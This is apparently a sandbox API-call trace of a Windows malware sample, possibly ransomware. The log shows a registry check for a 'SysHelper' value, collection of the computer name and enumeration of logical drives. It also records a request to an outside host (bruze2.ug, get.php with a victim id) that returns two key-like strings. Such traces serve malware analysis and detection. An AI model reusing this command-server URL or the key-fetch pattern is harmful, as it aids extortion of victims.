(HeapHandle=0xd10000, Flags=0x0, Size=0x810) returned 0x39e4a00 [0115.245] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x810) returned 0x39e5218 [0115.245] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x810) returned 0x39e5a30 [0115.246] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38caff8 [0115.246] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39da088 [0115.246] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39da910 [0115.246] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39db198 [0115.246] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dba20 [0115.246] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4156a0, lpParameter=0x3943d70, dwCreationFlags=0x0, lpThreadId=0x396a590 | out: lpThreadId=0x396a590*=0x5e8) returned 0x398 [0115.246] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4162f0, lpParameter=0x473998, dwCreationFlags=0x0, lpThreadId=0x473990 | out: lpThreadId=0x473990*=0x63c) returned 0x390 [0115.247] GetMessageW (lpMsg=0x18ea90, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0) [0119.932] NtdllDefWindowProc_W () returned 0x0 [0127.572] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x800) returned 0x39f1ee0 [0127.572] GetComputerNameW (in: lpBuffer=0x39f1ee0, nSize=0x18e5e8 | out: lpBuffer="XDUWTFONO", nSize=0x18e5e8) returned 1 [0127.572] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947ba8 [0127.572] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f1ee0 | out: hHeap=0xd10000) returned 1 [0127.572] IsWindow (hWnd=0x30152) returned 1 [0127.572] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947ba8 | out: hHeap=0xd10000) returned 1 [0209.406] NtdllDefWindowProc_W () returned 0x1 [0230.997] NtdllDefWindowProc_W () returned 0x1 Thread: id = 180 os_tid = 0x6ec Thread: id = 181 os_tid = 0x6f0 Thread: id = 182 os_tid = 0x6f4 Thread: id = 183 os_tid = 0x6f8 Thread: id = 184 os_tid = 0x6fc Thread: id = 185 os_tid = 0x700 Thread: id = 271 os_tid = 0x640 Thread: id = 272 os_tid = 0x628 Thread: id = 318 os_tid = 0x5ec [0114.434] timeGetTime () returned 0x9769 [0114.434] GetLastError () returned 0x54f [0114.434] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x8, Size=0x3bc) returned 0x394a360 [0114.435] GetCurrentThreadId () returned 0x5ec [0114.435] SetLastError (dwErrCode=0x54f) [0114.435] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion", ulOptions=0x0, samDesired=0xf003f, phkResult=0xa15a6e4 | out: phkResult=0xa15a6e4*=0x59c) returned 0x0 [0114.435] RegQueryValueExW (in: hKey=0x59c, lpValueName="SysHelper", lpReserved=0x0, lpType=0xa15a6d8, lpData=0xa15a6e0, lpcbData=0xa15a6dc*=0x4 | out: lpType=0xa15a6d8*=0x4, lpData=0xa15a6e0*=0x1, lpcbData=0xa15a6dc*=0x4) returned 0x0 [0114.435] RegCloseKey (hKey=0x59c) returned 0x0 [0114.435] InternetOpenW (lpszAgent="Microsoft Internet Explorer", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0114.435] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x3974060 [0114.435] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0xe04d08 [0114.435] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x3964020 [0114.435] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xe04d08, cbMultiByte=-1, lpWideCharStr=0x3964020, cchWideChar=1056 | out: lpWideCharStr="0E11F5E4125223A10BC64F8C25940F2B") returned 33 [0114.435] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x850) returned 0x3946dd0 [0114.435] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3964020 | out: hHeap=0xd10000) returned 1 [0114.435] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xe04d08 | out: hHeap=0xd10000) returned 1 [0114.435] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x8e0) returned 0x3964020 [0114.435] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3974060 | out: hHeap=0xd10000) returned 1 [0114.435] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3946dd0 | out: hHeap=0xd10000) returned 1 [0114.435] lstrcpyW (in: lpString1=0xa15af78, lpString2="http://bruze2.ug/ASd3457oHOIUSDhfsuft33i76t21/95898398498ihsdfasd/get.php?pid=0E11F5E4125223A10BC64F8C25940F2B" | out: lpString1="http://bruze2.ug/ASd3457oHOIUSDhfsuft33i76t21/95898398498ihsdfasd/get.php?pid=0E11F5E4125223A10BC64F8C25940F2B") returned="http://bruze2.ug/ASd3457oHOIUSDhfsuft33i76t21/95898398498ihsdfasd/get.php?pid=0E11F5E4125223A10BC64F8C25940F2B" [0114.435] InternetOpenUrlW (hInternet=0xcc0004, lpszUrl="http://bruze2.ug/ASd3457oHOIUSDhfsuft33i76t21/95898398498ihsdfasd/get.php?pid=0E11F5E4125223A10BC64F8C25940F2B", lpszHeaders=0x0, dwHeadersLength=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0114.964] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xa15a778, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xa15a774 | out: lpBuffer=0xa15a778*, lpdwNumberOfBytesRead=0xa15a774*=0x67) returned 1 [0114.965] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0114.966] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0114.966] lstrlenA (lpString="{\"line1\":\"") returned 10 [0114.966] lstrcpyA (in: lpString1=0xa15ab78, lpString2="krIQXwoAKOrr4jbvZpcdQn5Z5BUizQ1juFcQ1u8O\",\"line2\":\"H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}" | out: lpString1="krIQXwoAKOrr4jbvZpcdQn5Z5BUizQ1juFcQ1u8O\",\"line2\":\"H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned="krIQXwoAKOrr4jbvZpcdQn5Z5BUizQ1juFcQ1u8O\",\"line2\":\"H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}" [0114.966] lstrcpyA (in: lpString1=0xa15a778, lpString2="krIQXwoAKOrr4jbvZpcdQn5Z5BUizQ1juFcQ1u8O\",\"line2\":\"H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}" | out: lpString1="krIQXwoAKOrr4jbvZpcdQn5Z5BUizQ1juFcQ1u8O\",\"line2\":\"H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned="krIQXwoAKOrr4jbvZpcdQn5Z5BUizQ1juFcQ1u8O\",\"line2\":\"H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}" [0114.966] lstrlenA (lpString="krIQXwoAKOrr4jbvZpcdQn5Z5BUizQ1juFcQ1u8O\",\"line2\":\"H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 93 [0114.966] lstrlenA (lpString="krIQXwoAKOrr4jbvZpcdQn5Z5BUizQ1juFcQ1u8O\",\"line2\":\"H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 93 [0114.966] lstrlenA (lpString="krIQXwoAKOrr4jbvZpcdQn5Z5BUizQ1juFcQ1u8O\",\"line2\":\"H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 93 [0114.966] lstrlenA (lpString="krIQXwoAKOrr4jbvZpcdQn5Z5BUizQ1juFcQ1u8O\",\"line2\":\"H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 93 [0114.966] lstrlenA (lpString="krIQXwoAKOrr4jbvZpcdQn5Z5BUizQ1juFcQ1u8O\",\"line2\":\"H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 93 [0114.966] lstrlenA (lpString="krIQXwoAKOrr4jbvZpcdQn5Z5BUizQ1juFcQ1u8O\",\"line2\":\"H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 93 [0114.966] lstrlenA (lpString="krIQXwoAKOrr4jbvZpcdQn5Z5BUizQ1juFcQ1u8O\",\"line2\":\"H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 93 [0114.966] lstrlenA (lpString="krIQXwoAKOrr4jbvZpcdQn5Z5BUizQ1juFcQ1u8O\",\"line2\":\"H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 93 [0114.966] lstrlenA (lpString="krIQXwoAKOrr4jbvZpcdQn5Z5BUizQ1juFcQ1u8O\",\"line2\":\"H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 93 [0114.966] lstrlenA (lpString="krIQXwoAKOrr4jbvZpcdQn5Z5BUizQ1juFcQ1u8O\",\"line2\":\"H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 93 [0114.966] lstrlenA (lpString="krIQXwoAKOrr4jbvZpcdQn5Z5BUizQ1juFcQ1u8O\",\"line2\":\"H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 93 [0114.966] lstrlenA (lpString="krIQXwoAKOrr4jbvZpcdQn5Z5BUizQ1juFcQ1u8O\",\"line2\":\"H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 93 [0114.966] lstrlenA (lpString="krIQXwoAKOrr4jbvZpcdQn5Z5BUizQ1juFcQ1u8O\",\"line2\":\"H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 93 [0114.966] lstrlenA (lpString="krIQXwoAKOrr4jbvZpcdQn5Z5BUizQ1juFcQ1u8O\",\"line2\":\"H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 93 [0114.966] lstrlenA (lpString="krIQXwoAKOrr4jbvZpcdQn5Z5BUizQ1juFcQ1u8O\",\"line2\":\"H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 93 [0114.966] lstrlenA (lpString="krIQXwoAKOrr4jbvZpcdQn5Z5BUizQ1juFcQ1u8O\",\"line2\":\"H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 93 [0114.967] lstrlenA (lpString="krIQXwoAKOrr4jbvZpcdQn5Z5BUizQ1juFcQ1u8O\",\"line2\":\"H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 93 [0114.967] lstrlenA (lpString="krIQXwoAKOrr4jbvZpcdQn5Z5BUizQ1juFcQ1u8O\",\"line2\":\"H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 93 [0114.967] lstrlenA (lpString="krIQXwoAKOrr4jbvZpcdQn5Z5BUizQ1juFcQ1u8O\",\"line2\":\"H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 93 [0114.967] lstrlenA (lpString="krIQXwoAKOrr4jbvZpcdQn5Z5BUizQ1juFcQ1u8O\",\"line2\":\"H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 93 [0114.967] lstrlenA (lpString="krIQXwoAKOrr4jbvZpcdQn5Z5BUizQ1juFcQ1u8O\",\"line2\":\"H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 93 [0114.967] lstrlenA (lpString="krIQXwoAKOrr4jbvZpcdQn5Z5BUizQ1juFcQ1u8O\",\"line2\":\"H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 93 [0114.967] lstrlenA (lpString="krIQXwoAKOrr4jbvZpcdQn5Z5BUizQ1juFcQ1u8O\",\"line2\":\"H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 93 [0114.967] lstrlenA (lpString="krIQXwoAKOrr4jbvZpcdQn5Z5BUizQ1juFcQ1u8O\",\"line2\":\"H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 93 [0114.967] lstrlenA (lpString="krIQXwoAKOrr4jbvZpcdQn5Z5BUizQ1juFcQ1u8O\",\"line2\":\"H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 93 [0114.967] lstrlenA (lpString="krIQXwoAKOrr4jbvZpcdQn5Z5BUizQ1juFcQ1u8O\",\"line2\":\"H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 93 [0114.967] lstrlenA (lpString="krIQXwoAKOrr4jbvZpcdQn5Z5BUizQ1juFcQ1u8O\",\"line2\":\"H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 93 [0114.967] lstrlenA (lpString="krIQXwoAKOrr4jbvZpcdQn5Z5BUizQ1juFcQ1u8O\",\"line2\":\"H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 93 [0114.967] lstrlenA (lpString="krIQXwoAKOrr4jbvZpcdQn5Z5BUizQ1juFcQ1u8O\",\"line2\":\"H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 93 [0114.967] lstrlenA (lpString="krIQXwoAKOrr4jbvZpcdQn5Z5BUizQ1juFcQ1u8O\",\"line2\":\"H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 93 [0114.967] lstrlenA (lpString="krIQXwoAKOrr4jbvZpcdQn5Z5BUizQ1juFcQ1u8O\",\"line2\":\"H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 93 [0114.967] lstrlenA (lpString="krIQXwoAKOrr4jbvZpcdQn5Z5BUizQ1juFcQ1u8O\",\"line2\":\"H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 93 [0114.967] lstrlenA (lpString="krIQXwoAKOrr4jbvZpcdQn5Z5BUizQ1juFcQ1u8O\",\"line2\":\"H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 93 [0114.967] lstrlenA (lpString="krIQXwoAKOrr4jbvZpcdQn5Z5BUizQ1juFcQ1u8O\",\"line2\":\"H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 93 [0114.967] lstrlenA (lpString="krIQXwoAKOrr4jbvZpcdQn5Z5BUizQ1juFcQ1u8O\",\"line2\":\"H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 93 [0114.967] lstrlenA (lpString="krIQXwoAKOrr4jbvZpcdQn5Z5BUizQ1juFcQ1u8O\",\"line2\":\"H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 93 [0114.967] lstrlenA (lpString="krIQXwoAKOrr4jbvZpcdQn5Z5BUizQ1juFcQ1u8O\",\"line2\":\"H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 93 [0114.967] lstrlenA (lpString="krIQXwoAKOrr4jbvZpcdQn5Z5BUizQ1juFcQ1u8O\",\"line2\":\"H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 93 [0114.967] lstrlenA (lpString="krIQXwoAKOrr4jbvZpcdQn5Z5BUizQ1juFcQ1u8O\",\"line2\":\"H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 93 [0114.967] lstrlenA (lpString="krIQXwoAKOrr4jbvZpcdQn5Z5BUizQ1juFcQ1u8O\",\"line2\":\"H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 93 [0114.967] lstrlenA (lpString="krIQXwoAKOrr4jbvZpcdQn5Z5BUizQ1juFcQ1u8O\",\"line2\":\"H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 93 [0114.967] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38caf90 [0114.967] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x8ba) returned 0x39541c8 [0114.967] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x38caf90, cbMultiByte=-1, lpWideCharStr=0x39541c8, cchWideChar=1117 | out: lpWideCharStr="krIQXwoAKOrr4jbvZpcdQn5Z5BUizQ1juFcQ1u8O\",\"line2\":\"H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 94 [0114.968] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x8c0) returned 0x3954a90 [0114.968] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39541c8 | out: hHeap=0xd10000) returned 1 [0114.968] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38caf90 | out: hHeap=0xd10000) returned 1 [0114.968] lstrcpyW (in: lpString1=0x464f20, lpString2="krIQXwoAKOrr4jbvZpcdQn5Z5BUizQ1juFcQ1u8O\",\"line2\":\"H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}" | out: lpString1="krIQXwoAKOrr4jbvZpcdQn5Z5BUizQ1juFcQ1u8O\",\"line2\":\"H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned="krIQXwoAKOrr4jbvZpcdQn5Z5BUizQ1juFcQ1u8O\",\"line2\":\"H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}" [0114.968] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3954a90 | out: hHeap=0xd10000) returned 1 [0114.968] lstrlenA (lpString="krIQXwoAKOrr4jbvZpcdQn5Z5BUizQ1juFcQ1u8O\",\"line2\":\"H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 93 [0114.968] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xbc) returned 0x392df78 [0114.968] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xa15a778, cbMultiByte=-1, lpWideCharStr=0x392df78, cchWideChar=94 | out: lpWideCharStr="krIQXwoAKOrr4jbvZpcdQn5Z5BUizQ1juFcQ1u8O\",\"line2\":\"H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 94 [0114.968] lstrcpyW (in: lpString1=0x464f20, lpString2="krIQXwoAKOrr4jbvZpcdQn5Z5BUizQ1juFcQ1u8O\",\"line2\":\"H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}" | out: lpString1="krIQXwoAKOrr4jbvZpcdQn5Z5BUizQ1juFcQ1u8O\",\"line2\":\"H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned="krIQXwoAKOrr4jbvZpcdQn5Z5BUizQ1juFcQ1u8O\",\"line2\":\"H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}" [0114.968] lstrlenW (lpString="krIQXwoAKOrr4jbvZpcdQn5Z5BUizQ1juFcQ1u8O") returned 40 [0114.968] lstrlenA (lpString="\",\"line2\":\"") returned 11 [0114.968] lstrcpyA (in: lpString1=0xa15ab78, lpString2="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}" | out: lpString1="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}" [0114.968] lstrcpyA (in: lpString1=0xa15a778, lpString2="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}" | out: lpString1="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}" [0114.968] lstrlenA (lpString="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 42 [0114.968] lstrlenA (lpString="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 42 [0114.968] lstrlenA (lpString="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 42 [0114.968] lstrlenA (lpString="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 42 [0114.968] lstrlenA (lpString="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 42 [0114.968] lstrlenA (lpString="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 42 [0114.968] lstrlenA (lpString="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 42 [0114.968] lstrlenA (lpString="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 42 [0114.968] lstrlenA (lpString="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 42 [0114.968] lstrlenA (lpString="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 42 [0114.968] lstrlenA (lpString="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 42 [0114.968] lstrlenA (lpString="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 42 [0114.968] lstrlenA (lpString="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 42 [0114.968] lstrlenA (lpString="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 42 [0114.968] lstrlenA (lpString="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 42 [0114.968] lstrlenA (lpString="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 42 [0114.968] lstrlenA (lpString="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 42 [0114.968] lstrlenA (lpString="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 42 [0114.968] lstrlenA (lpString="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 42 [0114.968] lstrlenA (lpString="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 42 [0114.969] lstrlenA (lpString="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 42 [0114.969] lstrlenA (lpString="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 42 [0114.969] lstrlenA (lpString="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 42 [0114.969] lstrlenA (lpString="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 42 [0114.969] lstrlenA (lpString="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 42 [0114.969] lstrlenA (lpString="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 42 [0114.969] lstrlenA (lpString="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 42 [0114.969] lstrlenA (lpString="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 42 [0114.969] lstrlenA (lpString="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 42 [0114.969] lstrlenA (lpString="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 42 [0114.969] lstrlenA (lpString="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 42 [0114.969] lstrlenA (lpString="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 42 [0114.969] lstrlenA (lpString="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 42 [0114.969] lstrlenA (lpString="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 42 [0114.969] lstrlenA (lpString="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 42 [0114.969] lstrlenA (lpString="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 42 [0114.969] lstrlenA (lpString="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 42 [0114.969] lstrlenA (lpString="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 42 [0114.969] lstrlenA (lpString="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 42 [0114.969] lstrlenA (lpString="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 42 [0114.969] lstrlenA (lpString="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 42 [0114.969] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398e5d8 [0114.969] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x854) returned 0x39541c8 [0114.969] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x398e5d8, cbMultiByte=-1, lpWideCharStr=0x39541c8, cchWideChar=1066 | out: lpWideCharStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 43 [0114.969] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x3954a28 [0114.969] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39541c8 | out: hHeap=0xd10000) returned 1 [0114.969] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398e5d8 | out: hHeap=0xd10000) returned 1 [0114.969] lstrcpyW (in: lpString1=0x46c450, lpString2="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}" | out: lpString1="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}" [0114.969] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3954a28 | out: hHeap=0xd10000) returned 1 [0114.969] lstrlenA (lpString="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 42 [0114.969] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x56) returned 0x39664e0 [0114.969] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xa15a778, cbMultiByte=-1, lpWideCharStr=0x39664e0, cchWideChar=43 | out: lpWideCharStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 43 [0114.969] lstrcpyW (in: lpString1=0x46c450, lpString2="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}" | out: lpString1="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}" [0114.969] lstrlenW (lpString="krIQXwoAKOrr4jbvZpcdQn5Z5BUizQ1juFcQ1u8O") returned 40 [0114.969] lstrlenW (lpString="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L") returned 40 [0114.969] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3964020 | out: hHeap=0xd10000) returned 1 [0114.970] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x394a360 | out: hHeap=0xd10000) returned 1 Thread: id = 319 os_tid = 0x5e8 [0115.247] timeGetTime () returned 0x9a94 [0115.247] GetLastError () returned 0x54f [0115.247] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x8, Size=0x3bc) returned 0x3958e28 [0115.247] GetCurrentThreadId () returned 0x5e8 [0115.247] SetLastError (dwErrCode=0x54f) [0115.247] Sleep (dwMilliseconds=0x0) [0115.250] Sleep (dwMilliseconds=0x3e8) [0116.262] GetLogicalDrives () returned 0x4 [0116.263] SetErrorMode (uMode=0x1) returned 0x0 [0116.263] PathFileExistsA (pszPath="C:\\") returned 1 [0116.263] SetErrorMode (uMode=0x0) returned 0x1 [0116.264] GetDriveTypeA (lpRootPathName="C:\\") returned 0x3 [0116.264] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x806) returned 0x39f3ef0 [0116.264] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x405fe60, cbMultiByte=-1, lpWideCharStr=0x39f3ef0, cchWideChar=1027 | out: lpWideCharStr="C:\\") returned 4 [0116.264] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x810) returned 0x39f4700 [0116.264] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.264] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x18) returned 0x392a7a8 [0116.264] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f4700 | out: hHeap=0xd10000) returned 1 [0116.264] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0116.265] 